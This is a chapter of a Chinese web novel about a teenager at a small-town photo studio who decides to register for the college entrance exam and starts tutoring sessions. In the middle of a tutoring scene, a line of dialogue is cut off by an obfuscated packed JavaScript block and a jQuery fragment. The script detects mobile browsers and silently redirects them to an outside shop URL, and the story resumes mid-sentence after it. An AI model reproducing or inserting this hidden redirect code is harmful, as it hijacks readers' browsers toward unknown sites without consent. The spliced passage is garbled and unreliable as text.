拿到红叶照相馆钥匙后的第三天,梁潮生迟到了。
不是上学迟到。
是开店迟到。
周念安站在卷帘门前,低头看了一眼手表。七点零八分,比他们约好的时间晚了八分钟。
梁潮生骑着自行车从巷口冲过来,车把上挂着书包,后座捆着一只纸箱。临到门口,他单脚点地,险些撞上卖豆腐脑的小桌。
摊主端着碗骂:“大清早赶着投胎?”
梁潮生扶稳车:“赶着开门。”
“照相馆七点开门,给谁拍?太阳都没睁眼。”
周念安看着他:“迟到八分钟。”
“我先去了趟学校。”
“为什么?”
梁潮生从车后座解下纸箱,往她脚边一放。
箱子里装着二十多本卷了边的旧教材,还有一摞练习册。最上面那本数学书封皮已经掉了一半,依稀能看出是高一上册。
“找齐家当。”他说。
周念安翻了翻。
“这些是你的?”
“一部分。”
“剩下的呢?”
“可能在潮平那儿垫桌脚。”
周念安抬头看他。
梁潮生立刻补了一句:“今天就找回来。”
她没再追究,接过钥匙开门。
梁潮生跟在后面:“钥匙明明在我这儿,怎么又成你开了?”
“因为你迟到。”
“就八分钟。”
“开门登记写几点?”
梁潮生沉默两秒:“七点整。”
周念安停下动作。
他认命地改口:“七点零八。”
卷帘门升起来,照相馆里还留着昨晚的药水味。橱窗玻璃上蒙了一层白雾,挂在里面的红围巾和婚礼照片模模糊糊,只看得见几个热闹的人影。
梁潮生先把炉子点上,又把门口的积水扫开。
周念安坐到柜台后,把一本新作业本推给他。
封皮上写着五个字:
梁潮生补课表。
他拿起来看了看:“名字挺像处分材料。”
“翻开。”
第一页画着一张表格。
早读前背二十个单词,午休做两道数学题,放学后完成一页基础练习。周一、周三补数学,周二补英语,周四整理错题,周五由周念安检查。
周六、周日根据照相馆预约另排。
梁潮生盯了很久。
“周厂长。”
“嗯?”
“我只是说想参加考试。”
“所以呢?”
“没说要把人生活成课程表。”
周念安把账本摆到旁边:“照相馆也有营业表、材料表和预约表。”
“我不是相纸。”
“相纸比你好管。”
梁潮生被噎得靠在柜台边,半天才叹气:“行。试一个月。”
周念安抬眼:“学习没有试用期。”
“那我有吗?”
“看表现。”
这句话和她昨天说照相馆时一模一样。
梁潮生忍不住笑:“我在你手底下到底有几份工?”
“目前两份。学业和照相馆。”
“工资呢?”
“考上以后再谈。”
他拿起笔,在补课表最下面写了一行:
技术人员有权申请休息。
周念安看完,在后面补了四个字:
批准后执行。
梁潮生把笔往桌上一放:“我就知道。”
两个人正说着,门外有人敲玻璃。
高三年级的李老师抱着一摞表格站在门口,围巾上还落着没化的雪粒。
梁潮生赶紧把补课表往练习册底下一塞。
李老师已经看见了。
“藏什么?”
“商业机密。”
周念安说:“补课计划。”
梁潮生:“……”
李老师笑了笑,没拆穿他,把手里的表格放到柜台上。
“学校要统一拍高考报名照,原先联系的师傅家里有事来不了。韩师傅在吗?”
韩师傅从暗房探出头:“在。多少人?”
“高三四个班,符合报名条件的一百七十多人。”李老师说,“时间紧,下周就得把照片贴到登记表上。”
韩师傅听见人数,先吸了口气。
“全来店里坐不下。”
“可以在学校拍。”周念安说,“用教室做临时拍摄点,按班级排时间。照片统一编号,回来再冲洗。”
李老师点头:“我也是这么想的。”
韩师傅看向梁潮生:“听见没有?大活来了。”
梁潮生刚要说话,李老师却从那摞登记表里抽出一张名单。
“不过高三一班的名单要再核一遍。”
她把名单递给周念安。
班里四十多个名字,从第一排到最后一排,按学号排得整整齐齐。
周念安从头看到尾。
没有梁潮生。
她抬起头。
梁潮生也看见了,脸上没什么意外。
李老师问:“你的高考预报名表还没交,想好了吗?”
“想好了。”
“考?”
“考。”
“家里知道吗?”
梁潮生停了一下:“还没正式说。”
李老师皱起眉:“这不是一句考就行。户口页、毕业材料、报名费都要交,明天下午截止。你以前自己说不报,名单已经送过一次了,现在加名字,还得重新补手续。”
梁潮生靠着柜台,手指轻轻敲了两下木板。
他以前确实说过不报。
那时觉得念书没什么意思,考不上也不丢人。进厂、修机器、跟着谁学点手艺,日子总能过。别人问起以后,他嘴上有一百种说法,唯独没有认真想过自己到底要什么。
现在名单摆在面前。
没有他的名字。
那一小块空白比任何训话都更直白。
梁潮生伸手接过表格。
“我今天补。”
李老师看着他:“别临时起意。”
“不是临时。”
“那就别拖到最后一天。”
梁潮生点头:“知道。”
李老师走后,照相馆里安静了一会儿。
韩师傅把学校送来的照片要求拿起来看:黑白一寸、正面免冠、背景干净,尺寸要统一,编号不能错。
“这单不能出差错。”他说,“一百多个人,名字和底片乱一张,都够你们找半天。”
周念安已经开始画登记表。
班级、学号、姓名、底片编号、冲洗数量、复核签字。
梁潮生看了她一会儿,忽然问:“我的名字加在哪儿?”
“按学号。”
“我还以为能加最后。”
“为什么?”
“显眼。”
周念安抬头:“报名表不是点歌本。”
“知道。”
他答得很轻。
上午上课前,梁潮生第一次主动去了班主任办公室。
班主任正在批卷子,看见他进来,先看了眼墙上的钟。
“没迟到,也没被人押来。稀奇。”
梁潮生把预报名表放到桌上。
“老师,我想报名。”
班主任放下红笔:“想清楚了?”
“嗯。”
“你现在的成绩,普通本科希望不大。”
“知道。”
“专科、中专和技术类学校也要认真填,不是只在第一栏写个省城就算完事。”
“我知道。”
班主任打量他片刻:“谁劝你的?”
梁潮生本想说没人。
话到嘴边,却想起那本补课表,还有周念安说的那句——留在旧巷,也不能因为走不了。
“有人帮我算了算。”他说。
“算出什么?”
“多一条路,比少一条好。”
班主任点了点头,把需要准备的材料写给他。
户口簿复印件、近期照片、报名费,还有家长确认信息。
最后一项不需要家长替他选择,却需要核对家庭资料。
梁潮生看着纸上的“家庭住址”四个字,轻轻啧了一声。
真正难办的从来不是报名费。
是回家开口。
当天放学,红叶照相馆提前关了半扇门。
韩师傅把一块浅色布挂在墙上,测试给高三学生拍报名照的光线。周念秋被叫来当第一个试拍的人,坐在凳子上还不忘问:“头发能不能放下来?”
韩师傅说:“不能挡耳朵。”
“那丝巾呢?”
“证件照戴什么丝巾?”
周念秋叹气:“这种照片就是专门把人往难看了拍。”
梁潮生在相机旁调灯:“主要是为了证明本人,太好看了怕认不出来。”
周念秋回头:“你是不是想死?”
“别动!”韩师傅气得喊,“下巴转回来。”
第一张试拍糊了。
不是相机问题,是周念秋转头太快。
第二张光线太暗。
第三张背景布起了褶,肩膀旁边留下一道阴影。
韩师傅让梁潮生重新拉灯,他却没照旧位置放,而是把台灯抬高,又在另一侧竖起一块白硬纸板。
韩师傅看了一眼:“谁教你的?”
“没谁。”梁潮生说,“光从这边来,另一边脸太黑。用白纸挡一下,应该能亮点。”
韩师傅没夸,只让周念秋重新坐好。
第四张洗出来时,脸上的阴影果然柔和许多。
周念秋看完很满意:“这张能留给我吗?”
韩师傅说:“你又不参加高考。”
“不能参加高考,还不能拥有一张有文化的脸?”
梁潮生笑得差点碰倒灯架。
周念安站在暗房门口,看着他跟韩师傅学调光。
梁潮生在课桌前坐不住,在机器和相机旁却耐心得出奇。灯架挪半寸,背景布拉平一角,他都能看出不同。韩师傅说一次的事,他很少要人再说第二遍。
可等周念安把数学练习册放到柜台上,他脸上的耐心立刻少了一半。
“今天就开始?”
“今天周一。”
“明天再开始,也不影响一个月总量。”
“第一天就往后拖,以后每天都有理由。”
梁潮生盯着题目看了半天。
是一道函数基础题。
他拿着笔,迟迟不写。
周念安坐到他旁边:“哪一步不会?”
“第一步。”
“题目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740234|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看懂了吗?”
“每个字都认识,合起来不熟。”
周念安深吸一口气。
她本来想从公式讲,讲了两句,发现梁潮生仍旧皱眉。她停下来,换了张纸,在上面画出照相馆一天的收入和相纸成本。
“假设拍一张照片收两角,材料成本一角。拍的数量变多,挣的钱会怎么变?”
梁潮生立刻说:“每多拍一张,多剩一角。前提是药水和电费先不算。”
“这就是最简单的一次关系。”
她把数字换成字母,重新写了一遍。
梁潮生看着那行式子,眉头慢慢松开。
“数学老师为什么不说拍照片?”
“不是所有人都开照相馆。”
“那也可以卖包子。”
“陶阿姨的成本更复杂。”
“你算过?”
“粗略算过。”
梁潮生看着她,忽然笑了:“周厂长,你真是走到哪儿算到哪儿。”
“做题。”
他低头写完第一道,又做第二道。
第二道算错了。
第三道却对了。
周念安没有夸,只在旁边打了一个小小的钩。
梁潮生看见了。
“答对了就一个钩?”
“你想要什么?”
“至少写个‘不错’。”
“等你连续答对三道。”
“要求还挺高。”
嘴上抱怨,他却又翻了一页。
天黑后,照相馆只剩他们和韩师傅。
韩师傅进暗房整理底片,周念安在柜台对学校拍照所需的胶卷数量,梁潮生做完最后一道题,伸了个懒腰。
门铃在这时响了一声。
梁振山站在门口。
他穿着工作服,脸色仍旧严肃,手里却拿着梁家的户口簿。
梁潮生慢慢站起来。
父子俩隔着柜台,谁也没先说话。
最后还是梁振山把户口簿放下。
“你班主任去车间找过我。”
梁潮生问:“说什么了?”
“说你要报名。”
“嗯。”
梁振山看见柜台上的数学练习册,也看见那张补课表。最下面“技术人员申请休息”的一行被划了,旁边写着周念安端正的批注。
他没有碰。
“报名费你妈给你放书桌抽屉里了。”梁振山说,“家里地址、厂里单位,自己核对。别又填错。”
“我没填错过。”
“以前是根本不填。”
梁潮生没反驳。
梁振山转身要走,走到门口又停下。
“既然报了,就去考。”
他说完离开,没有问他能不能考上,也没有说考不上就进厂。
梁潮生看着柜台上的户口簿,很久没动。
周念安合上账本:“明天能补上名字了。”
“嗯。”
“照片也要拍。”
梁潮生看向那张拍摄凳:“我自己拍?”
韩师傅从暗房出来,听见这句便骂:“你有本事坐在镜头前面,再跑过去按快门?”
第二天下午,高三报名照正式开拍。
教室前排临时挂起浅色背景布,窗户用报纸遮了一半。学生按学号排队,一个个坐到凳子上。
有人闭眼,有人歪头,有人非要趁拍照前用手蘸水抹头发,结果抹得像刚淋过雨。吴雪晴拍了两次都嫌脸圆,周念秋不在,梁潮生便一本正经地告诉她:“证件照不负责改变骨骼。”
吴雪晴气得差点不拍。
陶小满过来帮忙登记,声音比刚认识时大了许多。
“高三一班,下一位——梁潮生。”
教室里忽然安静了一瞬。
大家都知道原来的名单上没有他。
梁潮生从相机后面走出来,把快门线交给韩师傅,自己坐到背景布前。
他难得有点不自在。
“领子。”周念安提醒。
他低头整理了一下。
“还是歪。”
“差不多。”
周念安走过去,抬手替他把领口翻平。
动作很快,手指几乎没有碰到他的脖子。
梁潮生却坐得更直了一点。
周念安退回登记桌后,拿起写着姓名和编号的小板。
高三一班,梁潮生。
韩师傅站在相机后面:“看镜头,别笑得像要翻窗。”
教室里有人偷笑。
梁潮生这次没有贫。
他看向镜头。
咔嚓。
快门落下,把那个总坐在教室最后一排、名单里曾经没有名字的少年,清清楚楚地留在了报名底片上。
拍完后,他站起来,先看了一眼周念安手里的登记表。
她已经在原名单最后补上了他的名字,又在旁边写好学号和底片编号。
墨迹还没干。
梁潮生问:“加上了?”
“加上了。”
“不会丢?”
周念安把登记表夹进文件夹。
“不会。”
窗外冬日的阳光照进来,落在那一行新添的字上。
照相馆的钥匙还挂在梁潮生腰间。
可这一次,他没有因为手里已经有了一扇门,就放弃去看门外还有什么。